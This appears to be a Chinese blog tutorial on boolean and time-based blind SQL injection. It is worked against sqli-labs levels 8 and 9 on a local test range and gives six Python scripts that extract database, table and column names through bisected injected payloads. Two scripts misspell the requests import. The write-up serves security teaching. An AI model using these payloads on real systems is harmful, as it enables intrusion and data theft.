sql注入之盲注(bool盲注,时间盲注)

    bool盲注

    使用场景:

    当页面不会返回明确的数据库错误信息 ,但能通过页面内容/状态的差异间接判断SQL语句执行结果时。

    原理:

    攻击者通过构造布尔条件 (如 AND 1=1、OR 1=2),观察页面的响应差异。

    通过逐字符猜测目标数据(如数据库名、表名、字段值),结合二分法或穷举法缩小范围。

    案例:

    sqli-labs---第八关:通过bool盲注获取数据库名字, 以及其中的表面,和字段名

    目标地址:127.0.0.1:8080/less-8/index.php (本地部署的靶场)

    1.通过脚本获取数据库名

    python

    复制代码

    import requests

    def inject_database(url):

    result = ''

    for i in range(1, 50):

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low)//2

    while ascii_low < ascii_high:

    payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)

    res= {"id": payload}

    r = requests.get(url, params=res)

    if "You are in..........." in r.text:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high)//2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if __name__ == '__main__':

    url = "http://127.0.0.1:8080/less-8/index.php"

    inject_database(url)

    运行结果:

    2. 获取此数据库的所有表名

    python

    复制代码

    import request

    def inject_tables(url, database_name):

    for table_index in range(0, 10): # 假设最多有10张表

    result = ''

    for i in range(1, 50): # 假设表名长度不超过50个字符

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low) // 2

    while ascii_low < ascii_high:

    # 修改payload以查询表名,并调整LIMIT的offset

    payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}-- "

    res = {"id": payload}

    r = requests.get(url, params=res)

    if "You are in..........." in r.text:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high) // 2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if result: # 表存在

    print("---------------------")

    else:

    break # 如果没有更多的表,退出循环

    if __name__ == '__main__':

    url = "http://127.0.0.1:8080/less-8/index.php"

    #inject_database(url)

    inject_tables(url,"security")

    3.获取users表中的所有列名

    python

    复制代码

    import request

    def inject_columns(url, database_name, table_name):

    for column_index in range(0, 10): # 假设最多有10列

    result = ''

    for i in range(1, 50): # 假设列名长度不超过50个字符

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low) // 2

    while ascii_low < ascii_high:

    # 修改payload以查询列名,并调整LIMIT的offset

    payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {column_index},1), {i}, 1)) > {mid}-- "

    res = {"id": payload}

    r = requests.get(url, params=res)

    if "You are in..........." in r.text:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high) // 2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if result: # 列存在

    print("---------------------")

    else:

    break # 如果没有更多的列,退出循环

    if __name__ == '__main__':

    url = "http://127.0.0.1:8080/less-8/index.php"

    #inject_database(url)

    #inject_tables(url,"security")

    inject_columns(url,"security","users")

    这三者主要就是修改一下payload,代码很简单, 主要是二分查找与sql语句.

    时间盲注

    使用场景:

    当页面完全无任何回显差异(内容、状态码均无变化),但数据库支持时间延迟函数时。

    原理:

    攻击者注入包含时间延迟函数 的SQL语句(如 SLEEP()、BENCHMARK()),通过响应时间差异判断条件真假。

    通过条件语句控制延迟是否触发,逐位提取数据。

    案例:

    sqli-labs---第九关:通过时间盲注获取数据库名字, 以及其中的表面,和字段名

    目标: http://127.0.0.1:8080/less-9/index.php?id=1

    页面回显无法通过比较判断,支持sleep()函数, 所以用时间盲注

    1.获取数据库名

    相比bool盲注, sql主要是用if,sleep(),python代码用了time函数

    python

    复制代码

    import time

    import requests

    def inject_database(url):

    result = ''

    for i in range(1, 50):

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low) // 2

    while ascii_low < ascii_high:

    payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(2), 0)-- " % (i, mid)

    res = {"id": payload}

    start_time = time.time()

    r = requests.get(url, params=res)

    end_time = time.time()

    res_time = end_time - start_time

    if res_time >= 2:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high) // 2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if __name__ == '__main__':

    url = 'http://127.0.0.1:8080/less-9/index.php'

    inject_database(url)

    2.获取表名

    python

    复制代码

    import time

    import requests

    def inject_table(url, database_name):

    for table_index in range(0, 10): # 假设最多有10张表

    result = ''

    for i in range(1, 50): # 假设表名长度不超过50个字符

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low) // 2

    while ascii_low < ascii_high:

    # 修改payload以查询表名,并调整LIMIT的offset

    payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "

    res = {"id": payload}

    start_time = time.time()

    r = requests.get(url, params=res)

    res_time = time.time() - start_time

    if res_time > 2:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high) // 2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if result: # 表存在

    print("---------------------")

    else:

    break # 如果没有更多的表,退出循环

    if __name__ == '__main__':

    url = 'http://127.0.0.1:8080/less-9/index.php'

    #inject_database(url)

    inject_table(url,'security')

    速度很慢

    3.获取emails表中的所有字段名

    python

    复制代码

    import time

    import requests

    def inject_columns(url, database_name, table_name):

    for column_index in range(0, 10): # 假设最多有10列

    result = ''

    for i in range(1, 50): # 假设列名长度不超过50个字符

    ascii_low = 32

    ascii_high = 128

    mid = (ascii_high + ascii_low) // 2

    while ascii_low < ascii_high:

    # 修改payload以查询列名,并调整LIMIT的offset

    payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {column_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "

    res = {"id": payload}

    s_time = time.time()

    r = requests.get(url, params=res)

    r_time = time.time() - s_time

    if r_time>2:

    ascii_low = mid + 1

    else:

    ascii_high = mid

    mid = (ascii_low + ascii_high) // 2

    if mid == 32:

    break

    result += chr(mid)

    print(result)

    if result: # 列存在

    print("---------------------")

    else:

    break # 如果没有更多的列,退出循环

    if __name__ == '__main__':

    url = 'http://127.0.0.1:8080/less-9/index.php'

    #inject_database(url)

    #inject_table(url,'security')

    inject_columns(url,'security','emails')

    就此,时间盲注和bool盲注结束